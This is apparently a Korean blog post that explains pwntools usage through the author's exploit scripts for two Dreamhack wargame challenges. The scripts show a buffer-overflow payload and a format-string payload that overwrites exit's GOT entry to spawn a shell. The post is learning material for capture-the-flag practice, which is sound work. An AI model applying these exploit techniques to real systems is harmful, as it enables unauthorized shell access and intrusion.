System Hacking

[pwntools] 사용법 정리 -(최초 작성 : 20.08.28)

jir4vvit 2020. 8. 28. 14:58

 20.08.28 최초 작성

 

* 목차 
[dreamhack : pwnable] basic_exploitation_001
[dreamhack : pwnable] basic_exploitation_002

 

포너블 문제를 풀면서 내가 작성한 페이로드를 통해 pwntools 사용법을 정리해보도록 하겠다.

 

 


[dreamhack : pwnable] basic_exploitation_001 풀이

jiravvit.tistory.com/entry/dreamhack-pwnable-basicexploitation001-%ED%92%80%EC%9D%B4

 

[dreamhack : pwnable] basic_exploitation_001 풀이

JiR4Vvit의 블로그 [dreamhack : pwnable] basic_exploitation_001 풀이 본문 WAR GAME/dreamhack [dreamhack : pwnable] basic_exploitation_001 풀이 사용자 JiR4Vvit 2020. 8. 25. 15:30 Prev 1 2 3 4 5 6 ··· 92 Next

jiravvit.tistory.com

 

from pwn import * 


- pwntools 연결하기
p = remote([IP],[PORT]) 

p = remote("host1.dreamhack.games", 8488) 


#p = process("./example")

 


- packing 관련 함수 
32비트 리틀 엔디안 방식으로 패킹해줌  

addr = p32(0x080485b9) # /xb9/x85/x04/0x8 


addr2 = p32(ABCD) # /x68/x67/x66/x65

 

payload = "A"*132 + addr 

 


- pwntools 데이터 보내기
데이터 한 줄을 보낸다. scanf(), gets() 등에 사용

p.sendline(payload)  

 


read()에 사용
p.send(payload)

 


쉘과 직접적으로 명령을 전송하고 수신할 수 있음, 페이로드를 작성하면 거의 마지막에 이거 다 써준다고 생각하면 됨

p.interactive()

 


[dreamhack : pwnable] basic_exploitation_002 풀이

jiravvit.tistory.com/entry/dreamhack-pwnable-basicexploitation002-%ED%92%80%EC%9D%B4

 

[dreamhack : pwnable] basic_exploitation_002 풀이

JiR4Vvit의 블로그 [dreamhack : pwnable] basic_exploitation_002 풀이 본문 WAR GAME/dreamhack [dreamhack : pwnable] basic_exploitation_002 풀이 사용자 JiR4Vvit 2020. 8. 25. 17:32 Prev 1 2 3 4 5 ··· 92 Next

jiravvit.tistory.com


from pwn import *

 

 

- pwntools 연결하기 

p = remote("host1.dreamhack.games", 8491)

#p = process("./basic_exploitation_002")

 


- ELF 함수: ELF에 바이너리를 인식시켜 적용되어 있는 보호기법을 보여주고, PLT, GOT같은 ELF 정보 등을 가져올 수 있음
e = ELF("바이너리 경로")
e = ELF("./basic_exploitation_002")

사용자 정의 함수 및 전역 변수의 주소를 가져옴
e.symbols["함수명"]
e.symbols["전역변수명"]
get_shell = e.symbols["get_shell"]


GOT 주소를 가져옴
e.got["함수명"]
exit_got = e.got["exit"]

 

# FSB (포맷 스트링 버그)
# offset = 1
# exit 함수의 GOT에 /bin/sh를 호출해주는 get_shell 함수의 주소로 덮어쓰기
# 32bit일 때만 가능
payload = fmtstr_payload(1, {exit_got:get_shell})

 


- pwntools 데이터 보내기
데이터 한 줄을 보낸다. scanf(), gets() 등에 사용
p.sendline(payload)

 

read()에 사용 
p.send(payload)

 

 


쉘과 직접적으로 명령을 전송하고 수신할 수 있음, 페이로드를 작성하면 거의 마지막에 이거 다 써준다고 생각하면 됨
p.interactive()